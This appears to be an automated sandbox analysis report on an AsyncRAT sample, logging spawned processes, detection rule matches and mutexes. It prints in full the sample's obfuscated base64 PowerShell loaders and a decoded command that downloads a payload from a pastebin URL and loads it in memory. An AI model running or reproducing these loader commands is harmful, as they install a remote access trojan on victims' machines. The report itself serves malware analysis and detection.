I?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bk?GM?a?Bz?Gk?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?Mg?x?DE?VgBP?E4?LwBu?Gk?YQBt?C8?cwBk?GE?ZQBo?C8?cwBm?GU?cg?v?GU?cgBp?GY?LwBh?Gw?b?Bp?HU?cQBu?GE?cgBy?GE?Yg?0?DI?M??y?G4?bwBp?H??bQBh?Gg?Yw?v?G0?bwBj?C4?d?Bu?GU?d?Bu?G8?YwBy?GU?cwB1?GI?dQBo?HQ?aQBn?C4?dwBh?HI?Lw?v?Do?cwBw?HQ?d?Bo?Cc?I??s?C??J?Bl?GE?YQBp?Hc?I??s?C??JwBp?Gc?ZgB4?EU?TQ?n?Cw?I??k?Go?dwBu?Gc?Yw?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\jglbwx.vbs');powershell $Yolopolhggobek;	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bt?Gk?e?Bm?HU?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bi?Gg?c?Bn?GU?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?bgB1?Gc?awBr?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bu?HU?ZwBr?Gs?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?MgBv?GM?cwBh?C8?bgBp?GE?bQ?v?HM?Z?Bh?GU?a??v?HM?ZgBl?HI?LwBl?HI?aQBm?C8?YQBs?Gw?aQB1?HE?bgBh?HI?cgBh?GI?N??y?D??MgBu?G8?aQBw?G0?YQBo?GM?LwBt?G8?Yw?u?HQ?bgBl?HQ?bgBv?GM?cgBl?HM?dQBi?HU?a?B0?Gk?Zw?u?Hc?YQBy?C8?Lw?6?HM?c?B0?HQ?a??n?C??L??g?CQ?YgBo?H??ZwBl?C??L??g?Cc?aQBn?GY?e?BF?E0?Ng?0?Cc?L??g?CQ?bQBp?Hg?ZgB1?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\mknrez.vbs');powershell $Yolopolhggobek;	Jump to behavior

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Code function: 0_2_00007FFE166496B4

0_2_00007FFE166496B4

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, 00000000.00000000.2499444255.00000000006D2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe
Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Binary or memory string: OriginalFilenameXClient.exe4 vs 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2685
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2681
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2681	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2685	Jump to behavior

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, type: SAMPLE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: amsi64_6236.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi64_6320.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 0.0.17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe.6d0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000000.2499444255.00000000006D2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: powershell.exe PID: 6960, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6984, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6236, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6320, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, Settings.cs

Base64 encoded string: 'lROew4XyaqaGtYzuNVCd+0LtHtvBSEmxRu4sNPaSVQsh04dnkMIAJyeM4IQz92YF'

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@27/17@2/3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6968:120:WilError_03
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Mutant created: \Sessions\1\BaseNamedObjects\eDGDtsABe6Ut5nus
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7012:120:WilError_03

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

File created: C:\Users\user\AppData\Local\Temp\mknrez.vbs

Jump to behavior

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jglbwx.vbs"

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

ReversingLabs: Detection: 84%

Source: unknown	Process created: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe "C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe"
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jglbwx.vbs"
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\mknrez.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bt?Gk?e?Bm?HU?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bi?Gg?c?Bn?GU?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?bgB1?Gc?awBr?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bu?HU?ZwBr?Gs?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?MgBv?GM?cwBh?C8?bgBp?GE?bQ?v?HM?Z?Bh?GU?a??v?HM?ZgBl?HI?LwBl?HI?aQBm?C8?YQBs?Gw?aQB1?HE?bgBh?HI?cgBh?GI?N??y?D??MgBu?G8?aQBw?G0?YQBo?GM?LwBt?G8?Yw?u?HQ?bgBl?HQ?bgBv?GM?cgBl?HM?dQBi?HU?a?B0?Gk?Zw?u?Hc?YQBy?C8?Lw?6?HM?c?B0?HQ?a??n?C??L??g?CQ?YgBo?H??ZwBl?C??L??g?Cc?aQBn?GY?e?BF?E0?Ng?0?Cc?L??g?CQ?bQBp?Hg?ZgB1?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\mknrez.vbs');powershell $Yolopolhggobek;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?Hc?bgBn?GM?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bl?GE?YQBp?Hc?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?Z?Bj?Gg?cwBp?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bk?GM?a?Bz?Gk?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?Mg?x?DE?VgBP?E4?LwBu?Gk?YQBt?C8?cwBk?GE?ZQBo?C8?cwBm?GU?cg?v?GU?cgBp?GY?LwBh?Gw?b?Bp?HU?cQBu?GE?cgBy?GE?Yg?0?DI?M??y?G4?bwBp?H??bQBh?Gg?Yw?v?G0?bwBj?C4?d?Bu?GU?d?Bu?G8?YwBy?GU?cwB1?GI?dQBo?HQ?aQBn?C4?dwBh?HI?Lw?v?Do?cwBw?HQ?d?Bo?Cc?I??s?C??J?Bl?GE?YQBp?Hc?I??s?C??JwBp?Gc?ZgB4?EU?TQ?n?Cw?I??k?Go?dwBu?Gc?Yw?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\jglbwx.vbs');powershell $Yolopolhggobek;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$jwngc = '01' ;$eaaiw = 'C:\Users\user\AppData\Local\Temp\jglbwx.vbs' ;[Byte[]] $dchsi = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($dchsi).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('4211VON/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $eaaiw , 'igfxEM', $jwngc, '1', 'Roda' ));"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
